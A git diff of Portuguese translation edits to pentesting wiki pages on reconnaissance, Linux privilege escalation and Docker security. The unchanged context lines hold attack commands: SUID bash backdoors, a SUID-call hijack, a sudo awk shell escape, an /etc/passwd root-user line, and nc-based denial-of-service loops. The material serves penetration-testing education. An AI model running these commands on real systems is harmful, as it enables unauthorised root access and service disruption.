+Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
&#xNAN;_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
-
-
## Subdomínios
> Sabemos todas as empresas dentro do escopo, todos os ativos de cada empresa e todos os domínios relacionados às empresas.
@@ -198,7 +195,7 @@ Se você encontrar algum **domínio com um IP diferente** dos que você já enco
### **DNS**
-Vamos tentar obter **subdomínios** dos registros **DNS**. Também devemos tentar por **Transferência de Zona** (Se vulnerável, você deve relatar).
+Vamos tentar obter **subdomínios** dos registros **DNS**. Também devemos tentar por **Transferência de Zona** (Se vulnerável, você deve relatar isso).
```bash
dnsrecon -a -d tesla.com
```
@@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um domínio específico.
+- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para qualquer domínio dado.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@@ -392,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### Geração de permutações inteligentes
-- [**regulator**](https://github.com/cramppet/regulator): Para mais informações, leia este [**post**](https://cramppet.github.io/regulator/index.html), mas basicamente ele obterá as **partes principais** dos **subdomínios descobertos** e as misturará para encontrar mais subdomínios.
+- [**regulator**](https://github.com/cramppet/regulator): Para mais informações, leia este [**post**](https://cramppet.github.io/regulator/index.html), mas basicamente ele pegará as **partes principais** dos **subdomínios descobertos** e as misturará para encontrar mais subdomínios.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
@@ -406,13 +403,17 @@ echo www | subzuf facebook.com
Confira este post de blog que escrevi sobre como **automatizar a descoberta de subdomínios** a partir de um domínio usando **Trickest workflows** para que eu não precise lançar manualmente um monte de ferramentas no meu computador:
-{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
+{{#ref}}
+https://trickest.com/blog/full-subdomain-discovery-using-workflow/
+{{#endref}}
-{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
+{{#ref}}
+https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
+{{#endref}}
### **VHosts / Hosts Virtuais**
-Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com sites nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
+Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com páginas nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
#### OSINT
@@ -450,9 +451,9 @@ Além disso, como neste ponto você já conhecerá todos os domínios dentro do
### **Monitorização**
-Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
+Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)faz.
-### **Procurando vulnerabilidades**
+### **Procurando por vulnerabilidades**
Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
@@ -471,7 +472,7 @@ Usando serviços das seguintes **APIs gratuitas**, você também pode encontrar
Você também pode verificar domínios apontando para um endereço IP específico usando a ferramenta [**hakip2host**](https://github.com/hakluke/hakip2host)
-### **Procurando vulnerabilidades**
+### **Procurando por vulnerabilidades**
**Varra todas as portas dos IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
@@ -485,7 +486,7 @@ Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento
Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a varredura de vulnerabilidades** e **varredura de portas** também (**se permitido** pelo escopo).
-Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores web** usando [**masscan** pode ser encontrado aqui](../pentesting-network/#http-port-discovery).\
+Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores** web usando [**masscan** pode ser encontrado aqui](../pentesting-network/#http-port-discovery).\
Outra ferramenta amigável para procurar servidores web é [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Você apenas passa uma lista de domínios e ela tentará se conectar à porta 80 (http) e 443 (https). Além disso, você pode indicar para tentar outras portas:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@@ -501,7 +502,7 @@ Além disso, você pode usar [**eyeballer**](https://github.com/BishopFox/eyebal
## Ativos de Nuvem Pública
-Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoedas, você pode usar palavras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
+Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoeda, você pode usar palavras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
Você também precisará de listas de palavras de **palavras comuns usadas em buckets**:
@@ -509,7 +510,7 @@ Você também precisará de listas de palavras de **palavras comuns usadas em bu
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
-Então, com essas palavras, você deve gerar **permutations** (verifique o [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) para mais informações).
+Então, com essas palavras, você deve gerar **permutations** (ver [**Segunda Rodada de Força Bruta DNS**](./#second-dns-bruteforce-round) para mais informações).
Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
@@ -609,7 +610,7 @@ Então você já:
4. Encontrou todos os **subdomínios** dos domínios (algum takeover de subdomínio?)
5. Encontrou todos os **IPs** (de e **não de CDNs**) dentro do escopo.
6. Encontrou todos os **servidores web** e tirou uma **captura de tela** deles (algo estranho que vale uma olhada mais profunda?)
-7. Encontrou todos os **ativos de nuvem pública potenciais** pertencentes à empresa.
+7. Encontrou todos os **potenciais ativos de nuvem pública** pertencentes à empresa.
8. **Emails**, **vazamentos de credenciais** e **vazamentos de segredos** que podem te dar uma **grande vitória muito facilmente**.
9. **Pentesting todas as webs que você encontrou**
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index cdcbb849d..599ce2c3e 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -18,15 +18,15 @@ Se você **tiver permissões de escrita em qualquer pasta dentro da variável `P
```bash
echo $PATH
```
-### Env info
+### Info do ambiente
Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?
```bash
(env || set) 2>/dev/null
```
-### Exploits de kernel
+### Exploits de Kernel
-Verifique a versão do kernel e se há algum exploit que pode ser usado para escalar privilégios.
+Verifique a versão do kernel e se há algum exploit que possa ser usado para escalar privilégios.
```bash
cat /proc/version
uname -a
@@ -45,7 +45,7 @@ Ferramentas que podem ajudar a procurar por exploits de kernel são:
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute NO vítima, apenas verifica exploits para kernel 2.x)
-Sempre **pesquise a versão do kernel no Google**, talvez a versão do seu kernel esteja escrita em algum exploit de kernel e então você terá certeza de que esse exploit é válido.
+Sempre **pesquise a versão do kernel no Google**, talvez sua versão do kernel esteja escrita em algum exploit de kernel e então você terá certeza de que esse exploit é válido.
### CVE-2016-5195 (DirtyCow)
@@ -144,7 +144,7 @@ Enumere binários úteis
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma similar).
+Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@@ -168,7 +168,7 @@ ps aux
ps -ef
top -n 1
```
-Sempre verifique se há possíveis [**depuradores electron/cef/chromium**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
+Sempre verifique se há possíveis [**electron/cef/chromium debuggers**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
Além disso, **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever alguém.
### Monitoramento de processos
@@ -182,7 +182,7 @@ Normalmente, você precisará de **privilégios de root** para ler a memória de
No entanto, lembre-se de que **como um usuário regular, você pode ler a memória dos processos que possui**.
> [!WARNING]
-> Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário sem privilégios.
+> Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário não privilegiado.
>
> O arquivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla a acessibilidade do ptrace:
>
@@ -313,7 +313,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
-## Trabalhos Agendados/Cron
+## Scheduled/Cron jobs
Verifique se algum trabalho agendado é vulnerável. Talvez você possa aproveitar um script sendo executado pelo root (vulnerabilidade de curinga? pode modificar arquivos que o root usa? usar symlinks? criar arquivos específicos no diretório que o root usa?).
```bash
@@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil deletar essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você.
+Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil excluir essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você.
```bash
ln -d -s
```
@@ -385,7 +385,7 @@ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/
### Binários de serviço graváveis
-Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem re-executados, os backdoors serão executados.
+Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem reexecutados, os backdoors serão executados.
### PATH do systemd - Caminhos Relativos
@@ -536,9 +536,9 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no
### Outros
-Observe que se você tiver permissões de gravação sobre o socket do docker porque você está **dentro do grupo `docker`** você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/#docker-group). Se a [**API do docker estiver ouvindo em uma porta** você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/#docker-group). Se a [**API do docker estiver escutando em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
-Verifique **mais maneiras de sair do docker ou abusar dele para escalar privilégios** em:
+Verifique **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em:
{{#ref}}
docker-security/
@@ -677,7 +677,7 @@ echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
```
-### Política de Senhas
+### Política de Senha
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
@@ -694,7 +694,7 @@ Se você não se importar em fazer muito barulho e os binários `su` e `timeout`
### $PATH
-Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** você pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
+Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
### SUDO e SUID
@@ -771,7 +771,7 @@ Essa técnica também pode ser usada se um **suid** binário **executar outro co
Se o **suid** binário **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
-Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la:
+Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@@ -787,7 +787,7 @@ No entanto, para manter a segurança do sistema e evitar que esse recurso seja e
- O carregador ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_).
- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também são suid/sgid são pré-carregadas.
-A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Esta configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando os comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados.
+A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Esta configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados.
```
Defaults env_keep += LD_PRELOAD
```
@@ -892,7 +892,7 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando.
+[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando.
O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração.
@@ -901,9 +901,13 @@ O projeto coleta funções legítimas de binários Unix que podem ser abusadas p
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
-{% embed url="https://gtfobins.github.io/" %}
+{{#ref}}
+https://gtfobins.github.io/
+{{#endref}}
-{% embed url="https://gtfoargs.github.io/" %}
+{{#ref}}
+https://gtfoargs.github.io/
+{{#endref}}
### FallOfSudo
@@ -924,7 +928,7 @@ Requisitos para escalar privilégios:
Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não receberá automaticamente um shell root, faça `sudo su`):
+- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
@@ -1117,7 +1121,7 @@ Verifique a **caixa de Valentine do HTB** para um exemplo.
## SSH
-### Debian OpenSSL Predictable PRNG - CVE-2008-0166
+### Debian OpenSSL PRNG Previsível - CVE-2008-0166
Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\
Esse bug é causado ao criar uma nova chave ssh nesses sistemas operacionais, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh, você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
@@ -1143,7 +1147,7 @@ Especifica arquivos que contêm as chaves públicas que podem ser usadas para au
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-Essa configuração indicará que, se você tentar fazer login com a chave **privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
+Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
### ForwardAgent/AllowAgentForwarding
@@ -1202,7 +1206,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
-Agora você pode usar o comando `su` com `hacker:hacker`
+Você pode agora usar o comando `su` com `hacker:hacker`
Alternativamente, você pode usar as seguintes linhas para adicionar um usuário fictício sem senha.\
AVISO: você pode degradar a segurança atual da máquina.
@@ -1231,7 +1235,7 @@ As seguintes pastas podem conter backups ou informações interessantes: **/tmp*
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
-### Arquivos de Localização Estranha/Propriedade
+### Localização Estranha/Arquivos Possuídos
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@@ -1288,7 +1292,7 @@ Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalat
### Logs
Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\
-Além disso, alguns **logs de auditoria** **"mal"** configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+Além disso, alguns logs de **auditoria** **"mal"** configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@@ -1308,14 +1312,14 @@ Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/#adm-group) ser
```
### Pesquisa/Regex de Credenciais Genéricas
-Você também deve verificar arquivos que contêm a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\
+Você também deve verificar arquivos que contenham a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\
Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
## Arquivos Graváveis
### Sequestro de Biblioteca Python
-Se você souber **de onde** um script python será executado e você **pode escrever dentro** daquela pasta ou você pode **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
+Se você souber de **onde** um script python será executado e você **pode escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
Para **criar um backdoor na biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
```python
@@ -1338,7 +1342,7 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede
**Referência de vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
-Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
+Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md
index 6efefb050..a521be4f0 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/README.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/README.md
@@ -17,7 +17,7 @@ O Docker engine, por padrão, escuta no socket Unix em `unix:///var/run/docker.s
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
-No entanto, expor o daemon do Docker via HTTP não é recomendado devido a preocupações de segurança. É aconselhável proteger as conexões usando HTTPS. Existem duas abordagens principais para garantir a conexão:
+No entanto, expor o daemon do Docker via HTTP não é recomendado devido a preocupações de segurança. É aconselhável proteger as conexões usando HTTPS. Existem duas abordagens principais para proteger a conexão:
1. O cliente verifica a identidade do servidor.
2. Tanto o cliente quanto o servidor autenticam mutuamente a identidade um do outro.
@@ -103,14 +103,14 @@ Em ambientes containerizados, isolar projetos e seus processos é fundamental pa
**Grupos de Controle (CGroups)**
- **Função**: Usado principalmente para alocar recursos entre processos.
-- **Aspecto de Segurança**: Os CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se mal configurado, pode ser potencialmente explorado para acesso não autorizado.
+- **Aspecto de Segurança**: Os CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se mal configurado, poderia ser potencialmente explorado para acesso não autorizado.
**Queda de Capacidades**
- **Importância**: É um recurso de segurança crucial para o isolamento de processos.
- **Funcionalidade**: Restringe as ações que um processo root pode realizar, eliminando certas capacidades. Mesmo que um processo seja executado com privilégios de root, a falta das capacidades necessárias impede que ele execute ações privilegiadas, pois as syscalls falharão devido a permissões insuficientes.
-Estas são as **capacidades restantes** após o processo descartar as outras:
+Estas são as **capacidades restantes** após o processo eliminar as outras:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
@@ -219,7 +219,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## DoS de um contêiner
-Se você não estiver limitando adequadamente os recursos que um contêiner pode usar, um contêiner comprometido poderia causar DoS no host onde está sendo executado.
+Se você não estiver limitando adequadamente os recursos que um contêiner pode usar, um contêiner comprometido poderia causar DoS ao host onde está sendo executado.
- DoS de CPU
```bash
@@ -229,15 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
-- DoS de Largura de Banda
+- Bandwidth DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done
```
## Flags Interessantes do Docker
-### --privileged flag
+### Flag --privileged
-Na página a seguir, você pode aprender **o que o flag `--privileged` implica**:
+Na página a seguir, você pode aprender **o que a flag `--privileged` implica**:
{{#ref}}
docker-privileged.md
@@ -272,7 +272,7 @@ Para mais opções **`--security-opt`** consulte: [https://docs.docker.com/engin
## Outras Considerações de Segurança
-### Gerenciamento de Segredos: Melhores Práticas
+### Gerenciando Segredos: Melhores Práticas
É crucial evitar embutir segredos diretamente em imagens Docker ou usar variáveis de ambiente, pois esses métodos expõem suas informações sensíveis a qualquer pessoa com acesso ao contêiner através de comandos como `docker inspect` ou `exec`.
@@ -290,7 +290,7 @@ BuildKit permite o uso de segredos em tempo de construção com a opção `--sec
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
-Para segredos necessários em um contêiner em execução, **Docker Compose e Kubernetes** oferecem soluções robustas. O Docker Compose utiliza uma chave `secrets` na definição do serviço para especificar arquivos secretos, como mostrado em um exemplo de `docker-compose.yml`:
+Para segredos necessários em um contêiner em execução, **Docker Compose e Kubernetes** oferecem soluções robustas. Docker Compose utiliza uma chave `secrets` na definição do serviço para especificar arquivos secretos, como mostrado em um exemplo de `docker-compose.yml`:
```yaml
version: "3.7"
services:
@@ -311,23 +311,27 @@ Em ambientes Kubernetes, segredos são suportados nativamente e podem ser gerenc
**gVisor** é um kernel de aplicativo, escrito em Go, que implementa uma parte substancial da superfície do sistema Linux. Inclui um runtime da [Open Container Initiative (OCI)](https://www.opencontainers.org) chamado `runsc` que fornece uma **fronteira de isolamento entre o aplicativo e o kernel do host**. O runtime `runsc` se integra ao Docker e Kubernetes, facilitando a execução de contêineres em sandbox.
-{% embed url="https://github.com/google/gvisor" %}
+{{#ref}}
+https://github.com/google/gvisor
+{{#endref}}
### Kata Containers
-**Kata Containers** é uma comunidade de código aberto que trabalha para construir um runtime de contêiner seguro com máquinas virtuais leves que se comportam e desempenham como contêineres, mas fornecem **isolamento de carga de trabalho mais forte usando tecnologia de virtualização de hardware** como uma segunda camada de defesa.
+**Kata Containers** é uma comunidade de código aberto que trabalha para construir um runtime de contêiner seguro com máquinas virtuais leves que se comportam e têm desempenho como contêineres, mas fornecem **isolamento de carga de trabalho mais forte usando tecnologia de virtualização de hardware** como uma segunda camada de defesa.
-{% embed url="https://katacontainers.io/" %}
+{{#ref}}
+https://katacontainers.io/
+{{#endref}}
### Dicas Resumidas
-- **Não use a flag `--privileged` ou monte um** [**socket Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket docker permite a criação de contêineres, então é uma maneira fácil de ter controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
-- **Não execute como root dentro do contêiner. Use um** [**usuário diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespaces de usuário**](https://docs.docker.com/engine/security/userns-remap/)**.** O root no contêiner é o mesmo que no host, a menos que remapeado com namespaces de usuário. É apenas levemente restrito por, principalmente, namespaces do Linux, capacidades e cgroups.
+- **Não use a flag `--privileged` ou monte um** [**socket Docker dentro do contêiner**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** O socket docker permite a criação de contêineres, então é uma maneira fácil de assumir o controle total do host, por exemplo, executando outro contêiner com a flag `--privileged`.
+- **Não execute como root dentro do contêiner. Use um** [**usuário diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespaces de usuário**](https://docs.docker.com/engine/security/userns-remap/)**.** O root no contêiner é o mesmo que no host, a menos que seja remapeado com namespaces de usuário. É apenas levemente restrito por, principalmente, namespaces do Linux, capacidades e cgroups.
